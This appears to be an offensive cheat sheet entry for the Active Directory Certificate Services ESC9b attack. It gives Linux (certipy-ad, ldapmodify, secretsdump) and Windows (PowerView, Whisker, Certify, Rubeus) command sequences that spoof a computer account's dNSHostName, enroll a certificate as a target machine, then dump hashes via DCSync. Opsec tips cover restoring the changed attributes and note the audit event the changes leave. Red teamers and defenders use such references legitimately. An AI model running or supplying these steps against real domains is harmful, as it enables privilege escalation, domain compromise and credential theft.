ADCSESC9b

ESC9b: No security extension on template + GenericWrite on a computer account β€” strip conflicting SPNs, change victim computer's dNSHostName to match a target computer, enroll a cert, restore dNSHostName, then authenticate as the target computer.

Applies to: Principals with GenericWrite on a computer account β†’ vulnerable template (no szOID_NTDS_CA_SECURITY_EXT, machine auth) β†’ Enterprise CA


Linux Abuse

certipy-ad

# Step 1: Find vulnerable templates
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout

# Step 2: Remove conflicting SPNs from victim computer
# Check current SPNs:
ldapsearch -x -D '<attacker-dn>' -w '<password>' -h <dc-ip> \
  -b '<victim-computer-dn>' servicePrincipalName

# Delete SPN(s) that conflict with target hostname:
echo -e "dn: <victim-computer-dn>\nchangetype: modify\ndelete: servicePrincipalName\nservicePrincipalName: HOST/<victim-computer>" \
  | ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>

# Step 3: Change victim computer's dNSHostName to target computer's FQDN
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
  -user '<victim-computer>$' -dns <target-computer>.<domain>

# Step 4: Set mail attribute if required by template
echo -e "dn: <victim-computer-dn>\nchangetype: modify\nreplace: mail\nmail: dummy@mail.com" \
  | ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>

# Step 5: Get credentials for victim computer account
# Shadow creds (if AddKeyCredentialLink):
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
  -account '<victim-computer>$'

# Step 6: Enroll cert as victim computer (dNSHostName now = target)
certipy-ad req -u '<victim-computer>$@<domain>' -hashes ':<victim-ntlm>' -dc-ip <dc-ip> \
  -ca '<ca>' -target <ca-host> -template '<template>'
# Output: <target-computer>.pfx

# Step 7: Restore victim dNSHostName (critical)
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
  -user '<victim-computer>$' -dns <victim-computer>.<domain>

# Step 8: Authenticate as target computer
certipy-ad auth -pfx <target-computer>.pfx -dc-ip <dc-ip>

# Step 9: Use machine hash for lateral movement / DCSync if DC
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<target-computer>$@<dc-ip>'

Windows Abuse

PowerView + Certify.exe + Rubeus

# Step 1: Remove conflicting SPNs
Set-DomainObject -Identity '<victim-computer>$' -Set @{'serviceprincipalname'='HOST/<victim-computer>'}

# Step 2: Change dNSHostName to target
Set-DomainObject -Identity '<victim-computer>$' -Set @{'dnshostname'='<target-computer>.<domain>'}

# Step 3: Set mail if required
Set-DomainObject -Identity '<victim-computer>$' -Set @{'mail'='dummy@mail.com'}

# Step 4: Get victim computer session (shadow creds / other)
Whisker.exe add /target:'<victim-computer>$'
Rubeus.exe asktgt /user:'<victim-computer>$' /certificate:<pfx-base64> /domain:<domain> /ptt
# Step 5: Enroll cert as victim computer
Certify.exe request /ca:<ca-host>\<ca> /template:<template> /machine

# Step 6: Restore dNSHostName
Set-DomainObject -Identity '<victim-computer>$' -Set @{'dnshostname'='<victim-computer>.<domain>'}

# Step 7: TGT as target computer
Rubeus.exe asktgt /user:'<target-computer>$' /domain:<domain> /certificate:<pfx-base64> /ptt

Opsec

  • SPN deletion and dNSHostName change are logged (Event ID 4742 β€” computer account changed).
  • Restore dNSHostName and re-add SPNs immediately after enrollment.
  • CA retains issued cert; the requesting computer account and the spoofed dNSHostName are both visible.